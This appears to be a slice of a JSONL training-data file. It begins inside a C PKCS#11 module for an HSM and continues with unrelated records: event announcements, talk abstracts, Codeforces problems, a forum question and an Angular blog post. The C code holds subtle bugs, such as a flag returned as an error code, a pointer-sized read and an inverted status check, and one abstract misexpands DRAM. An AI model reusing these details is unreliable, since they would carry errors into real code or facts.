CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_Digest)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pData, CK_ULONG ulDataLen, CK_BYTE_PTR pDigest, CK_ULONG_PTR pulDigestLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_DigestUpdate)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pPart, CK_ULONG ulPartLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_DigestKey)(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE hKey)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_DigestFinal)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pDigest, CK_ULONG_PTR pulDigestLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_SignInit)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism, CK_OBJECT_HANDLE hKey)\n{\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif (pMechanism->mechanism != CKM_ECDSA)\n\t\treturn CKR_MECHANISM_INVALID;\n\n\t// Key object must be NULL_PTR (the HSM uses internal keys)\n\tif (hKey != NULL_PTR)\n\t\treturn CKR_KEY_HANDLE_INVALID;\n\n\t// TODO\n\t// set operation code in structure\n\treturn CKR_OK;\n}\n\n\n// Operation 5: sign data\nCK_DEFINE_FUNCTION(CK_RV, C_Sign)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pData, CK_ULONG ulDataLen, CK_BYTE_PTR pSignature, CK_ULONG_PTR pulSignatureLen)\n{\n\tCK_BYTE status;\n\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif(HSM_C_ChooseOpCode(hSession, 5) != CKR_OK)\n\t\treturn CKF_LOGIN_REQUIRED;\n\t// send data size\n\tsend_to_connection(pipe_fd, &ulDataLen, sizeof(ulDataLen));\n\tif(!waitOK(pipe_fd))\n\t\treturn CKR_FUNCTION_FAILED;\n\n\t// send data\n\tsend_to_connection(pipe_fd, pData, ulDataLen);\n\n\treceive_from_connection(pipe_fd, &status, sizeof(CK_BYTE));\n\tsendOK(pipe_fd, (uint8_t *)\"OK\");\n\n\tif (status != 0)\n\t\treturn CKR_FUNCTION_FAILED;\n\n\t// Receives encrypt and authenticated data\n\treceive_from_connection(pipe_fd, pulSignatureLen, sizeof(pulSignatureLen));\n\tsendOK(pipe_fd, (uint8_t *)\"OK\");\n\n\t// Receives encrypt and authenticated data\n\treceive_from_connection(pipe_fd, pSignature, *pulSignatureLen);\n\tsendOK(pipe_fd, (uint8_t *)\"OK\");\n\n\treturn CKR_OK;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_SignUpdate)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pPart, CK_ULONG ulPartLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_SignFinal)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pSignature, CK_ULONG_PTR pulSignatureLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_SignRecoverInit)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism, CK_OBJECT_HANDLE hKey)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_SignRecover)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pData, CK_ULONG ulDataLen, CK_BYTE_PTR pSignature, CK_ULONG_PTR pulSignatureLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_VerifyInit)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism, CK_OBJECT_HANDLE hKey)\n{\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif (pMechanism->mechanism != CKM_ECDSA)\n\t\treturn CKR_MECHANISM_INVALID;\n\n\tif (hKey != 1)\n\t\treturn CKR_KEY_HANDLE_INVALID;\n\n\t// set operation flag\n\ts.operation[P11_OP_VERIFY] = 1;\n\treturn CKR_OK;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_Verify)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pData, CK_ULONG ulDataLen, CK_BYTE_PTR pSignature, CK_ULONG ulSignatureLen)\n{\n\tCK_BYTE status;\n\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\t// set operation flag\n\tif (s.operation[P11_OP_VERIFY] == 0)\n\t\treturn CKF_LOGIN_REQUIRED;\n\n\tif(HSM_C_ChooseOpCode(hSession, 6) != CKR_OK)\n\t\treturn CKF_LOGIN_REQUIRED;\n\n\t// send data size\n\tsend_to_connection(pipe_fd, &ulDataLen, sizeof(ulDataLen));\n\tif(!waitOK(pipe_fd))\n\t{\n\t\ts.operation[P11_OP_VERIFY] = 0;\n\t\treturn CKR_FUNCTION_FAILED;\n\t}\n\n\t// send data\n\tsend_to_connection(pipe_fd, pData, ulDataLen);\n\tif(!waitOK(pipe_fd))\n\t{\n\t\ts.operation[P11_OP_VERIFY] = 0;\n\t\treturn CKR_FUNCTION_FAILED;\n\t}\n\n\t// send signature size\n\tsend_to_connection(pipe_fd, &ulSignatureLen, sizeof(ulSignatureLen));\n\tif(!waitOK(pipe_fd))\n\t{\n\t\ts.operation[P11_OP_VERIFY] = 0;\n\t\treturn CKR_FUNCTION_FAILED;\n\t}\n\n\t// send signature\n\tsend_to_connection(pipe_fd, pSignature, ulSignatureLen);\n\tif(!waitOK(pipe_fd))\n\t{\n\t\ts.operation[P11_OP_VERIFY] = 0;\n\t\treturn CKR_FUNCTION_FAILED;\n\t}\n\n\t// send entity ID\n\tsend_to_connection(pipe_fd, s.obj.id, s.obj.id_size);\n\n\t// Receives encrypt and authenticated data\n\treceive_from_connection(pipe_fd, &status, sizeof(uint8_t));\n\tsendOK(pipe_fd, (uint8_t *)\"OK\");\n\n\ts.operation[P11_OP_VERIFY] = 0;\n\tif (status == 0)\n\t\treturn CKR_OK;\n\telse\n\t\treturn CKR_FUNCTION_FAILED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_VerifyUpdate)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pPart, CK_ULONG ulPartLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_VerifyFinal)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pSignature, CK_ULONG ulSignatureLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_VerifyRecoverInit)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism, CK_OBJECT_HANDLE hKey)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_VerifyRecover)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pSignature, CK_ULONG ulSignatureLen, CK_BYTE_PTR pData, CK_ULONG_PTR pulDataLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_DigestEncryptUpdate)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pPart, CK_ULONG ulPartLen, CK_BYTE_PTR pEncryptedPart, CK_ULONG_PTR pulEncryptedPartLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_DecryptDigestUpdate)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pEncryptedPart, CK_ULONG ulEncryptedPartLen, CK_BYTE_PTR pPart, CK_ULONG_PTR pulPartLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_SignEncryptUpdate)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pPart, CK_ULONG ulPartLen, CK_BYTE_PTR pEncryptedPart, CK_ULONG_PTR pulEncryptedPartLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_DecryptVerifyUpdate)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pEncryptedPart, CK_ULONG ulEncryptedPartLen, CK_BYTE_PTR pPart, CK_ULONG_PTR pulPartLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GenerateKey)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism, CK_ATTRIBUTE_PTR pTemplate, CK_ULONG ulCount, CK_OBJECT_HANDLE_PTR phKey)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GenerateKeyPair)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism, CK_ATTRIBUTE_PTR pPublicKeyTemplate, CK_ULONG ulPublicKeyAttributeCount, CK_ATTRIBUTE_PTR pPrivateKeyTemplate, CK_ULONG ulPrivateKeyAttributeCount, CK_OBJECT_HANDLE_PTR phPublicKey, CK_OBJECT_HANDLE_PTR phPrivateKey)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_WrapKey)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism, CK_OBJECT_HANDLE hWrappingKey, CK_OBJECT_HANDLE hKey, CK_BYTE_PTR pWrappedKey, CK_ULONG_PTR pulWrappedKeyLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_UnwrapKey)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism, CK_OBJECT_HANDLE hUnwrappingKey, CK_BYTE_PTR pWrappedKey, CK_ULONG ulWrappedKeyLen, CK_ATTRIBUTE_PTR pTemplate, CK_ULONG ulAttributeCount, CK_OBJECT_HANDLE_PTR phKey)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\n// Operation 8: Generate new key for sharing\nCK_DEFINE_FUNCTION(CK_RV, C_DeriveKey)(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism, CK_OBJECT_HANDLE hBaseKey, CK_ATTRIBUTE_PTR pTemplate, CK_ULONG ulAttributeCount, CK_OBJECT_HANDLE_PTR phKey)\n{\n\tCK_BYTE r, status;\n\tCK_ECDH1_DERIVE_PARAMS_PTR p;\n\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif (pMechanism == NULL)\n\t\treturn CKR_ARGUMENTS_BAD;\n\n\tif (pMechanism->mechanism != CKM_ECDH1_DERIVE)\n\t\treturn CKR_MECHANISM_INVALID;\n\n\tp = pMechanism->pParameter;\n\tif (p == NULL || p->kdf != CKM_SHA256_KEY_DERIVATION)\n\t\treturn CKR_MECHANISM_INVALID;\n\n\t// Shared key must be null\n\tif (p->ulSharedDataLen != 0 || p->pSharedData != NULL)\n\t\treturn CKR_FUNCTION_FAILED;\n\n\t// Public key must be set\n\tif (p->ulPublicDataLen == 0 || p->pPublicData == NULL)\n\t\treturn CKR_FUNCTION_FAILED;\n\n\t// key stays inside the HSM\n\tif (phKey != NULL)\n\t\treturn CKR_OBJECT_HANDLE_INVALID;\n\tif (pTemplate != NULL)\n\t\treturn CKR_ATTRIBUTE_VALUE_INVALID;\n\n\tif(HSM_C_ChooseOpCode(hSession, 8) != CKR_OK)\n\t\treturn CKF_LOGIN_REQUIRED;\n\n\t// send entity ID\n\tsend_to_connection(pipe_fd, p->pPublicData , p->ulPublicDataLen);\n\tif(!waitOK(pipe_fd))\n\t\treturn CKR_FUNCTION_FAILED;\n\n\treceive_from_connection(pipe_fd, &status, sizeof(CK_BYTE));\n\tsendOK(pipe_fd, (uint8_t *)\"OK\");\n\n\tif (status == 0)\n\t\tr = CKR_OK;\n\telse\n\t\tr = CKR_FUNCTION_FAILED;\n\treturn r;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_SeedRandom)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pSeed, CK_ULONG ulSeedLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GenerateRandom)(CK_SESSION_HANDLE hSession, CK_BYTE_PTR RandomData, CK_ULONG ulRandomLen)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_GetFunctionStatus)(CK_SESSION_HANDLE hSession)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_CancelFunction)(CK_SESSION_HANDLE hSession)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\n\nCK_DEFINE_FUNCTION(CK_RV, C_WaitForSlotEvent)(CK_FLAGS flags, CK_SLOT_ID_PTR pSlot, CK_VOID_PTR pReserved)\n{\n\treturn CKR_FUNCTION_NOT_SUPPORTED;\n}\n\nCK_DEFINE_FUNCTION(CK_RV, HSM_C_GetKeyList)(CK_SESSION_HANDLE phSession, CK_BYTE_PTR list)\n{\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\t// Get session\n\n\tif(HSM_C_ChooseOpCode(phSession, 9) != CKR_OK)\n\t\treturn CKF_LOGIN_REQUIRED;\n\n\treceive_from_connection(pipe_fd, list, DATA_SIZE);\n\tsendOK(pipe_fd, (uint8_t *)\"OK\");\n\n\treturn CKR_OK;\n}\n\nCK_DEFINE_FUNCTION(CK_RV, HSM_C_ChooseOpCode)(CK_SESSION_HANDLE phSession, CK_BYTE opcode)\n{\n\tCK_BYTE r;\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\t// Get session\n\n\t// Get greetings message\n\t// receive_from_connection(pipe_fd, greetings, sizeof(greetings));\n\t// printf (\"%s\", greetings);\n\n\t// Send op code and wait for confirmation\n\t// If error occurs, user must choose code:1 and authenticate with PIN\n\tsend_to_connection(pipe_fd, &opcode, sizeof(CK_BYTE));\n\tif (!waitOK(pipe_fd))\n\t{\n\t\tr = CKF_LOGIN_REQUIRED;\n\t}\n\telse\n\t\tr = CKR_OK;\n\n\tif (r == CKF_LOGIN_REQUIRED && opcode != 1)\n\t\tprintf (\"NOT AUTHENTICATED\\n\");\n\telse if (r == CKR_CRYPTOKI_NOT_INITIALIZED)\n\t\tprintf(\"Cryptoki not initialized\\n\");\n\n\treturn r;\n}\n\nCK_DEFINE_FUNCTION(CK_RV, HSM_C_SaveObject)(CK_SESSION_HANDLE phSession, CK_OBJECT_HANDLE phObject)\n{\n\tCK_BYTE r, status;\n\tif (!init)\n\t\treturn CKR_CRYPTOKI_NOT_INITIALIZED;\n\n\tif (phObject != 1)\n\t\treturn CKR_KEY_HANDLE_INVALID;\n\n\tif (s.obj.oClass != CKO_CERTIFICATE || s.obj.oType != CKC_X_509 || s.obj.oToken != CK_FALSE)\n\t\treturn CKR_MECHANISM_INVALID;\n\n\tif(HSM_C_ChooseOpCode(phSession, 7) != CKR_OK)\n\t\treturn CKF_LOGIN_REQUIRED;\n\n\t// send entity ID\n\tsend_to_connection(pipe_fd, s.obj.id, s.obj.id_size);\n\tif(!waitOK(pipe_fd))\n\t\treturn CKR_FUNCTION_FAILED;\n\n\t// Send certificate size\n\tsend_to_connection(pipe_fd, &s.obj.oValueLen, sizeof(s.obj.oValueLen));\n\tif(!waitOK(pipe_fd))\n\t\treturn CKR_FUNCTION_FAILED;\n\t// send certificate\n\tsend_to_connection(pipe_fd, s.obj.oValue, s.obj.oValueLen);\n\tif(!waitOK(pipe_fd))\n\t\treturn CKR_FUNCTION_FAILED;\n\n\t// Receives status\n\treceive_from_connection(pipe_fd, &status, sizeof(uint8_t));\n\tsendOK(pipe_fd, (uint8_t *)\"OK\");\n\n\tif (status != 0)\n\t\tr = CKR_OK;\n\telse\n\t\tr = CKR_FUNCTION_FAILED;\n\treturn r;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 8582, "token_count_with_eod": 8583, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Information about the NSAIS-ROW 2019 workshop can be found from the NSAIS workshop page HERE\nNSAIS-ROW 2019 – Workshop on Adaptive and Intelligent Systems and Real Options\nNSAIS organizes workshops focused on softcomputing and intelligent systems within the geographic area within the reach of the society “Northern Europe”. The events are typically 1-3 day events with a peer reviewed proceedings / books of abstracts.\nNSAIS´19 = NSAIS-ROW 2019 Workshop (information on incoming workshop)\nNSAIS will organize, together with the Finnish Real Option Society the NSAIS-ROW 2019 Workshop on Adaptive and Intelligent Systems and Real Options during the week 34 on Thursday and Friday – 22.-23. August, 2019 in Lappeenranta, Finland. The venue will be LUT University in Lappeenranta.\nThe workshop theme this time is: “Adaptive and Intelligent Systems and Real Options in the Context of Digitalization and Manufacturing 4.0” as it is a collaboration with the Finnish Operational Research Society and MFG40 (Manufacturing 4.0) Finnish Strategic Research Council project.\nBoth, theoretical and application-oriented papers are welcome within the scope of the workshop theme. The workshop is doctoral student friendly in that also work-in-progress papers can be presented.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 290, "token_count_with_eod": 291, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Uncovered interest rate parity\nFor UIP, the expected change in future spot rate = interest country A - country B, therefore, if interest rate country A is greater than B, we would expect to see currency A depreciate against B.\nHowever, I believe that if interest rate in country A is greater than B, we should expect capital inflow to A and outflow from B leading to appreciation of currency A.\nWhy does UIP yield different outcome to capital flow perspective?\nStudy together. Pass together.\nJoin the world's largest online community of CFA, CAIA and FRM candidates.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 123, "token_count_with_eod": 124, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is the hard version of the problem. The only difference is that in this version $$$0 \\leq k \\leq 20$$$.\n\nThere is an array $$$a_1, a_2, \\ldots, a_n$$$ of $$$n$$$ positive integers. You should divide it into a minimal number of continuous segments, such that in each segment there are no two numbers (on different positions), whose product is a perfect square.\n\nMoreover, it is allowed to do at most $$$k$$$ such operations before the division: choose a number in the array and change its value to any positive integer.\n\nWhat is the minimum number of continuous segments you should use if you will make changes optimally?", "source": "cpt_codeforces", "language": "en", "token_count": 147, "token_count_with_eod": 148, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "This is a provisional roadmap, lots of things are subject to change. Items will be frequently added and removed or moved between releases.\n1.9 – Lapetus\n- Reusable instance templates Complete\n- Progress on the 'Generic' module to handle apps without a module Complete!\n- Embedded FTP Server Complete!\n- Audit log viewer Basic version complete\n- User interface style refresh, themes Complete\n- Terraria Module WIP\n- SDK Revamp Complete, NodeJS API available\n2.0 – Europa\n- Localisation, initial support for German, French and Dutch.\n- WHMCS Integration\n- AMP plugin/module repository\n- Developer store\n- New status page, merged with Console tab – shows more data", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 147, "token_count_with_eod": 148, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "When you close a note in the OS X 10.9 Notes app it leaves no trace, there's no warning and no revert. It's just appears to be gone. Very unMac like to me. It's in user interface design 101 that if there's a risk of data loss, the application should inform the user of this is what will happen.\nWhere do the notes go in OS X if the default is \"on this Mac\"? What if the default account is an IMAP account? Can you get it back from the place it's connected to?", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Since failures and attacks are inevitable in large-scale Internet-enabled systems, efficient monitoring is key to achieving resiliency. Continuous monitoring, however, usually comes with a high performance cost to the target systems. In addition, because of the apparent dissimilarity between security and reliability, tools to detect and recover from different classes of failures and attacks are usually designed and implemented differently. That makes integration of support for reliability and security in a single framework a significant challenge.\nIn this talk, I will present HyperTap, our solution to address those research challenges in the context of virtualization environments. HyperTap is a hypervisor-level framework that facilitates the building of efficient reliability and security monitors for virtual machines (VM). Unlike most VM-monitoring techniques, HyperTap employs hardware architectural invariants to establish the root of trust for monitoring. Hardware invariants are properties defined and enforced by a hardware platform (for example, the x86 instruction set architecture). Additionally, HyperTap supports continuous, event-driven VM monitoring, which enables both capture of the system state and rapid response to actions of interest.\nWe demonstrated the effectiveness of HyperTap through (i) a monitor to detect operating system hangs in a VM, (ii) a monitor to detect hidden rootkits, and (iii) a monitor to detect privilege escalation attacks. Experimental evaluation of the three monitors showed that they are effective in detecting hangs (caused by injecting bugs in the guest operating system), real-world rootkits, and privilege escalation attacks while causing less than 5% and 2% performance overhead for disk I/O and CPU-intensive workloads, respectively.\nCuong Pham is a Ph.D. student in the Department of Electrical and Computer Engineering (ECE) at UIUC. He is a member of the DEPEND research group (http://depend.csl.illinois.edu/) in the Coordinated Science Laboratory (CSL). His research interests are in designing and building resilient computer systems. For his Ph.D. research, Pham focuses on providing monitoring techniques for enhancing the resiliency of cloud computing infrastructure against both accidental failures and malicious attacks. His virtual machine monitoring work received the inaugural Best Paper Award at the IEEE/IFIP International Conference on Dependable Systems and Networks (DSN). Additionally, Pham was recognized for his outstanding Ph.D. research in the dependability area and was awarded the William C. Carter Award at DSN.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 483, "token_count_with_eod": 484, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given an array of integers $$$a$$$ of length $$$n$$$. You can perform the following operation zero or more times:\n\n- In one operation choose an index $$$i$$$ ($$$1 \\le i \\le n$$$), assign $$$a_i := a_i + 1$$$, and then move $$$a_i$$$ to the back of the array (to the rightmost position). For example, if $$$a = [3, 5, 1, 9]$$$, and you choose $$$i = 2$$$, the array becomes $$$[3, 1, 9, 6]$$$.\n\nFind the lexicographically smallest$$$^{\\text{∗}}$$$ array you can get by performing these operations.", "source": "cpt_codeforces", "language": "en", "token_count": 155, "token_count_with_eod": 156, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Friends are going to play console. They have two joysticks and only one charger for them. Initially first joystick is charged at a1 percent and second one is charged at a2 percent. You can connect charger to a joystick only at the beginning of each minute. In one minute joystick either discharges by 2 percent (if not connected to a charger) or charges by 1 percent (if connected to a charger).\n\nGame continues while both joysticks have a positive charge. Hence, if at the beginning of minute some joystick is charged by 1 percent, it has to be connected to a charger, otherwise the game stops. If some joystick completely discharges (its charge turns to 0), the game also stops.\n\nDetermine the maximum number of minutes that game can last. It is prohibited to pause the game, i. e. at each moment both joysticks should be enabled. It is allowed for joystick to be charged by more than 100 percent.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Numbers $$$1, 2, 3, \\dots n$$$ (each integer from $$$1$$$ to $$$n$$$ once) are written on a board. In one operation you can erase any two numbers $$$a$$$ and $$$b$$$ from the board and write one integer $$$\\frac{a + b}{2}$$$ rounded up instead.\n\nYou should perform the given operation $$$n - 1$$$ times and make the resulting number that will be left on the board as small as possible.\n\nFor example, if $$$n = 4$$$, the following course of action is optimal:\n\n1. choose $$$a = 4$$$ and $$$b = 2$$$, so the new number is $$$3$$$, and the whiteboard contains $$$[1, 3, 3]$$$;\n2. choose $$$a = 3$$$ and $$$b = 3$$$, so the new number is $$$3$$$, and the whiteboard contains $$$[1, 3]$$$;\n3. choose $$$a = 1$$$ and $$$b = 3$$$, so the new number is $$$2$$$, and the whiteboard contains $$$[2]$$$.\n\nIt's easy to see that after $$$n - 1$$$ operations, there will be left only one number. Your goal is to minimize it.", "source": "cpt_codeforces", "language": "en", "token_count": 276, "token_count_with_eod": 277, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "אירועים והרצאות בפקולטה למדעי המחשב ע\"ש הנרי ומרילין טאוב\nTim Mattson (Senior principal engineer, Intel)\nיום חמישי, 26.01.2023, 10:30\nAmin Vahdat, in a talk that has gone viral, described the five epochs of distributed computing (https://www.youtube.com/watch?v=Am_itCzkaE0). It’s a great talk, but I disagree with him on one key point. He thinks we are early in the fifth Epoch. I say we entered the fifth Epoch several years ago and we are on the verge of the next Epoch … the sixth Epoch of distributed computing.\nIn this talk I will very briefly outline the five Epochs of distributed computing and then shift to the future and the sixth Epoch. This Epoch emerges when we bring next generation networking technology into our distributed computing systems so the time for one hop on the network is on par with the time for a memory reference in DRAM (Distributed Random Access Memory).\nThis innovation is coming in the not-too-distant future. It will fundamentally change how high-performance computing applications project into the cloud. We need to start thinking NOW about how we will develop software in the sixth Epoch. I will suggest one approach for programming in the sixth Epoch, but the ideas are speculative and therefore alternatives abound. To that end, I hope this talk launches an aggressive, and hopefully interesting, dialog about software development in the sixth epoch of distributed computing.\nBiography: Tim Mattson is a parallel programmer obsessed with every variety of science (Ph.D. Chemistry, UCSC, 1985). He is a senior principal engineer in Intel’s parallel computing lab. Tim has been with Intel since 1993 and has worked with brilliant people on great projects including: (1) the first TFLOP computer (ASCI Red), (2) MPI, OpenMP and OpenCL, (3) two different research processors (Intel's TFLOP chip and the 48 core SCC), (4) Data management systems (Polystore systems and Array-based storage engines), and (5) the GraphBLAS API for expressing graph algorithms as sparse linear algebra. Tim has well over 150 publications including five books on different aspects of parallel computing, the latest (Published November 2019) titled “The OpenMP Common Core: making OpenMP Simple Again”.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 514, "token_count_with_eod": 515, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "YouKn0wWho has an integer sequence $$$a_1, a_2, \\ldots, a_n$$$. He will perform the following operation until the sequence becomes empty: select an index $$$i$$$ such that $$$1 \\le i \\le |a|$$$ and $$$a_i$$$ is not divisible by $$$(i + 1)$$$, and erase this element from the sequence. Here $$$|a|$$$ is the length of sequence $$$a$$$ at the moment of operation. Note that the sequence $$$a$$$ changes and the next operation is performed on this changed sequence.\n\nFor example, if $$$a=[3,5,4,5]$$$, then he can select $$$i = 2$$$, because $$$a_2 = 5$$$ is not divisible by $$$i+1 = 3$$$. After this operation the sequence is $$$[3,4,5]$$$.\n\nHelp YouKn0wWho determine if it is possible to erase the whole sequence using the aforementioned operation.", "source": "cpt_codeforces", "language": "en", "token_count": 211, "token_count_with_eod": 212, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "We zien dat u de website vanuit Nederland bezoekt. Wilt u de website in het Nederlands bekijken?\nHit enter to search\nIn CastIt there are multiple channels you can control, with multiple players running even the same channel. You need a way to monitor all of this activity and that is what I was aiming to rebuild with the task. The control panel was already built using react. Great. What else? CastIt is mainly built in PHP but the part I am calling and pinging for information is node.js.\nSo I started with Angular 4, which I will refer as it is called - Angular. Now, a little intro about Angular. Its main purpose is to build SPA apps, unlike Vuejs which can be used for SPA but also for different application types. Soon, I realized it’s not enough to go through the official Angular documentation.\nThere is much more you need to learn in order to get started. After some reading I decided to move and change the development environment. I started using Visual Studio Code as the new development environment. There are many reasons for doing that. Its lighter, much faster and it has great TypeScript and Git support. Using Angular with VS Code required additional effort and learning. I had to install and learn a bit about Node.js, to use NPM, Webpack. First, you need to install Node.js and NPM. You also need Webpack – a module bundler which simplifies your work tremendously. Without it, it would be pure hell. So I started with Angular command line interface (cli) as the Angular documentation suggested and installed a new application, which in turn gave me a template that included built-in support for TypeScript, Webpack, Unit tests. TypeScript support seemed natural.\nAs for unit tests, template had the Karma and Jasmine unit tests preset. Unit tests launch in chrome browser, with visual feedback for each test. So it was very useful and convenient to use. Visual Studio Code offers autocompletion, F12, “ctrl + .” support which is Visual Studio like. So, that’s really cool. And what is best, after a while or better said right from the start, I realized TypeScript has many similarities with .NET object oriented programming, which I found to be a great feature. Its type safe and I find that as an important benefit (because of my .NET background). You can make and use interfaces, you have constructors. Another thing that I noticed was code separation, that is, the Angular template initial setup structures files in a way that it separates html, css and TypeScript. I find that as a big plus as you keep away business logic from the html/css part, which should not be concerned of it.\nModularity is one of major Angular features. When coding with Angular, it is all about organizing code into the buckets. Angular also introduces services, which are placed where you can write reusable business logic, extract and encapsulate unique repeatable functionality. Also it is notable that Angular strongly relies on dependency injection. It is implemented in a simple way, which is nice. Another benefit of all modularity, components and services is that, in terms of coding styles, Angular guides the developer how and where to write code.\nSome notes and ramblings. To reflect on Angular complexity. For example, animations do not seem like a great implementation by Angular – code syntax and results were way too difficult compared to yielded results – so in the end I abandoned using Angular animations. The situation is similar with pipes. Pipes are used to manipulate and transform data. Pretty weird term for what is usually called filtering. Actually it takes in data as input and transforms it to a desired output. In my case I needed channels table to be able to be sortable. Should not be complex, right?\nNo. So Angular uses pipes and for me that concept was kind of weird. It was like a separate piece that will not fit into the puzzle at all. Another note that adds to confusion is that Angular documentation suggest to use impure pipes with great care. If pipe is set as impure then they track changes and can easily leave an impact on the user experience, so be careful when you use it. It’s like, why have it simple when you can make it complex.\nThe syntax is also kinda inconsistent, you can write the same thing in several different ways. But make only one miss and it will not work, without any warnings. For example with pipes, arguments are separated with colons? Don’t know why. Syntax to do two way binding was unusual as well or transferring event data from one component to another parent/child component is not that natural as well. In the end I can’t escape the feeling that learning curve for Angular is just too steep and not backed up with enough 